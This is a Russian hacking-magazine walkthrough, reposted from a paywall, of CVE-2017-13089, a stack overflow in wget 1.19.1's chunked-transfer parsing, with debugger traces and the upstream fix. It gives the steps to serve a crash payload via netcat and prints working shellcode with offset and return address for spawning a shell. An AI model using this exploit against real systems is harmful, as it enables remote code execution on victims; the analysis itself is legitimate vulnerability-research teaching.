Хакер - Wget в отключке. Эксплуатируем переполнение буфера в популярной качалке для Linux
nopaywall

Содержание статьи

INFO
Уязвимости присвоен номер CVE-2017-13089, она присутствует во всех версиях wget вплоть до 1.19.1.
Стенд
Сперва готовим площадку для будущих экспериментов. Тут нам на помощь пришла работа Роберта Дженсена (Robert Jensen), который собрал докер-контейнер для тестирования уязвимости. Скачать докер-файл, эксплоит и прочее ты можешь в его репозитории. Затем останется только выполнить
docker build -t cve201713089 .
Если ничего качать не хочется, то достаточно команды
docker pull robertcolejensen/cve201713089
Затем запускаем контейнер.
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -ti --name=wget --hostname=wget robertcolejensen/cve201713089 /bin/bash
Подключившись к контейнеру, компилируем исходники wget с флагом -g для более удобной отладки.
$ wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz $ tar xvzf wget-1.19.1.tar.gz $ cd wget-1.19.1 && CFLAGS="-g" ./configure && make && make install && cd -
Проверим, успешно ли скомпилились исходники с поддержкой отладочных символов.
$ gdb wget
gdb подгрузил отладочные символыТеперь с этим можно работать. Переходим к следующему этапу.
Анализируем уязвимость
Давай сразу посмотрим, как можно триггернуть уязвимость. Для этого в репозитории есть пейлоад, который можно скачать тем же wget. $ wget https://raw.githubusercontent.com/r1b/CVE-2017-13089/master/src/exploit/payload
Перенаправим вывод из файла в порт при помощи netcat и попробуем получить содержимое через wget.
$ nc -lp 1337 < payload & $ wget --debug localhost:1337
После коннекта и получения ответа утилита крашится.
Wget крашится при обработке специально сформированного пакетаТеперь проделаем то же самое, но уже через отладчик.
$ gdb --args wget 127.0.0.1:1337 $ r $ bt full
Если ты еще не заглянул в файл payload, то самое время это сделать. В нем ты можешь обнаружить вереницу символов А, которые и перезаписали содержимое стека. Результат можешь наблюдать на скриншоте.
Содержимое стека в момент краша wgetДавай поближе рассмотрим последнюю функцию, которая выполнялась перед крашем. Это skip_short_body из файла http.c.
/wget-1.19.1/src/http.c
946: skip_short_body (int fd, wgint contlen, bool chunked)
Кто же ее вызывает? Обрати внимание на пейлоад, в качестве ответа он возвращает код 401. При парсинге ответа wget записывает его в переменную statcode, которая является частью структуры http_stat.
/wget-1.19.1/src/http.c
1542: struct http_stat 1543: { ... 1552: int statcode; /* status code */
Затем в зависимости от этого статуса выполняются разные куски кода. За 401 отвечает следующий:
/wget-1.19.1/src/http.c
127: #define HTTP_STATUS_UNAUTHORIZED 401 ... 3493: if (statcode == HTTP_STATUS_UNAUTHORIZED) 3494: { 3495: /* Authorization is required. */ ... 3523: if (keep_alive && !head_only 3524: && skip_short_body (sock, contlen, chunked_transfer_encoding)) 3525: CLOSE_FINISH (sock);
Обрати внимание на строку 3524. В этом условии и происходит вызов уязвимой функции skip_short_body. Но для этого необходимо, чтобы две переменные (keep_alive и head_only) приняли нужные значения (строка 3523), потому что в C/С++, как и во многих других языках, обработка логических операций выполняется по принципу short-circuit evaluation. Ты, наверное, уже догадался, что означают сами переменные: keep_aliveпринимает значение true, если в ответе от сервера хидер Connection равен keep-alive, а head_only — это просто флаг наличия только хидера в ответе.
Переменные из условия, в котором выполняется skip_short_bodyИтак, переменные имеют нужные значения, а значит, skip_short_body выполняется. Посмотрим на параметры, которые в нее передаются.
В первую очередь нас интересует параметр chunked_transfer_encoding. Он зависит от заголовка Transfer-Encoding, который возвращает сервер. Этот заголовок парсится, и если он установлен в chunked, то переменная становится true.
/wget-1.19.1/src/http.c
3449: chunked_transfer_encoding = false; 3450: if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval)) 3451: && 0 == c_strcasecmp (hdrval, "chunked")) 3452: chunked_transfer_encoding = true;
При получении пакета с таким заголовком от сервера клиент использует механизм chunked transfer encoding при обработке запроса. Он полезен в тех случаях, когда, например, нужно передать динамически сформированные данные, для которых нельзя заранее определить размер. Данные передаются небольшими частями (они же блоки или чанки — называй как хочешь), которые имеют следующий формат:
<размер блока (в HEX)><CRLF> <данные блока><CRLF>
Для отделения записи длины чанка от его содержания используется разделитель CRLF (в виде строки \r\n или как байты в формате HEX: 0x0D, 0x0A). Размер чанка — это длина передаваемых в нем данных в байтах, где разделители CRLF не учитываются.
Окончанием передаваемых данных является чанк, длина которого 0 байт.
Следующий параметр, который нас интересует, — contlen. Эта переменная отвечает за размер данных в теле ответа и изначально парсится из хидера Content-Length. Мы его не передаем, так как используем механизм передачи данных частями, поэтому contlen так и остается равной -1, как и была инициализирована.
/wget-1.19.1/src/http.c
3318: contlen = -1; ... 3414: if (!opt.ignore_length 3415: && resp_header_copy (resp, "Content-Length", hdrval, sizeof (hdrval)))
Значение переменной contlenСамое время пробежаться по телу функции skip_short_body, чтобы понять логику выполняемого кода. Сначала она проверяет, не превышает ли длина ответа (contlen) 4096 байт. Если да, то соединение просто закрывается.
/wget-1.19.1/src/http.c
948: enum { ... 950: SKIP_THRESHOLD = 4096 /* the largest size we read */ 951: }; ... 958: if (contlen > SKIP_THRESHOLD) 959: return false;
Затем начинается цикл чтения данных из переданного пакета.
/wget-1.19.1/src/http.c
961: while (contlen > 0 || chunked)
Переменная contlen у нас, конечно, меньше нуля, а вот chunked установлено в true, поэтому начинается чтение данных. Сначала wget определяет размер данных первого чанка. Для этого функция strtol() конвертирует строковое представление числа, которое хранится в строке line, в длинное целое и возвращает результат.
/wget-1.19.1/src/http.c
973: remaining_chunk_size = strtol (line, &endl, 16);
Размер первого чанка в эксплоите установлен в -0xFFFFFD00.
Wget в процессе чтения размера первого чанка из пейлоадаПоэтому переменная remaining_chunk_size примет значение -4294966528.
(gdb) p remaining_chunk_size $7 = -4294966528
Эта переменная отвечает за размер оставшихся непрочитанных данных из текущего блока. Теперь вычисляется переменная contlen. Для этого используется функция MIN. Она возвращает наименьшее из двух переданных чисел.
/wget-1.19.1/src/http.c
949: SKIP_SIZE = 512, /* size of the download buffer */ ... 984: contlen = MIN (remaining_chunk_size, SKIP_SIZE);
Естественно, наше полученное значение remaining_chunk_size гораздо меньше SKIP_SIZE, так что contlen теперь равна -4294966528.
Вычисление нового значения contlen при обработке блока данныхТеперь настало время чтения данных из пакета и записи их в память. Для этого в функцию fd_read передается указатель на текущий пакет, переменная для записи данных и их размер.
/wget-1.19.1/src/http.c
989: ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
/wget-1.19.1/src/connect.c
928: int 929: fd_read (int fd, char *buf, int bufsize, double timeout) 930: {
Так как fd_read в качестве размера буфера (bufsize) принимает только тип int, верхние 32 бита длины отбрасываются, когда мы передаем отрицательные значения в качестве размера чанка.
Функция fd_read использует тип int в качестве размера данных для чтенияЗатем все параметры уходят в функцию read.
/wget-1.19.1/src/connect.c
938: return sock_read (fd, buf, bufsize);
/wget-1.19.1/src/connect.c
778: static int 779: sock_read (int fd, char *buf, int bufsize) 780: { 781: int res; 782: do 783: res = read (fd, buf, bufsize); 784: while (res == -1 && errno == EINTR); 785: return res; 786: }
Обрати внимание на адрес буфера, в который будут записываться данные, и на расположение стека.
Адрес стека и адрес буфера для записи данных из пейлоадаПри создании буфера под него выделяется всего 512 байт, а читать и записывать мы будем 768, вот тут и возникает переполнение. Выходим за границу выделенной нам памяти.
/wget-1.19.1/src/connect.c
949: SKIP_SIZE = 512, /* size of the download buffer */ ... 953: char dlbuf[SKIP_SIZE + 1]; 954: dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */
После того как отработает read, данные в размере 768 байт будут прочитаны и записаны по адресу buf. Теперь стек перезаписан вереницей из символов А, которые были в пейлоаде. Таким образом, мы можем управлять адресом возврата из функции skip_short_body.
Состояние стека после переполнения буфераДальше все просто — вычисляется размер оставшихся данных из чанка.
/wget-1.19.1/src/http.c
998: contlen -= ret;
Цикл уходит на второй круг для чтения следующей порции данных. Только теперь contlen у нас равен -4294967296 (-4294966528 — 768), что в int-представлении равно 0. Так как буфер пуст и читать больше нечего, выполняется условие:
/wget-1.19.1/src/http.c
989: ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); 990: if (ret <= 0) 991: { 992: /* Don’t normally report the error since this is an 993: optimization that should be invisible to the user. */ 994: DEBUGP (("] aborting (%s).\n", 995: ret < 0 ? fd_errstr (fd) : "EOF received")); 996: return false; 997: }
Программа выходит из функции skip_short_body в никуда, а все благодаря перезаписанному стеку.
Стек перезаписан. Wget в отключкеВот так отрабатывает PoC. Если хочешь поэкспериментировать с RCE, то загляни к нашему китайскому товарищу под ником mzeyong в репозиторий. Там ты найдешь эксплоит, результатом работы которого будет запущенный /bin/dash.
Сам сплоит состоит из двух частей, первая — это собственно сам шелл-код.
shellcode.py
14: buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05" 15: buf += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2" 16: buf += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" 17: buf += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76" 18: buf += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53" 19: buf += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda" 20: buf += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b"
Вторая часть — адрес, где этот самый шелл-код будет располагаться. На твоей машине он может быть другим.
shellcode.py
22: Payload += buf+(568-len(buf))*"A" 23: Payload += "\xd0\xd9\xff\xff\xff\x7f\x00\x00"
Обрати внимание, что адрес записывается со смещением в 568 байт. Это необходимо, чтобы он оказался на верхушке стека, после того как буфер будет переполнен.
После запуска можно наблюдать следующую картину.
Эксплоит для wget успешно отработалВот так легко и непринужденно эксплоит отрабатывает в тепличных условиях. Чтобы превратить его в боевой сплоит для реальных машин, придется попотеть, но это уже выходит за рамки нашей статьи.
Заключение
Если тебя интересует фикс бага, то вот он. Разработчики добавили проверку на отрицательные значения переменной remaining_chunk_size.
/wget-1.19.2/src/http.c
976: if (remaining_chunk_size < 0) 977: return false;
Казалось бы, этот баг вполне можно было обнаружить автоматикой заранее, но и в наше время такие вещи еще, похоже, встречаются.
Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall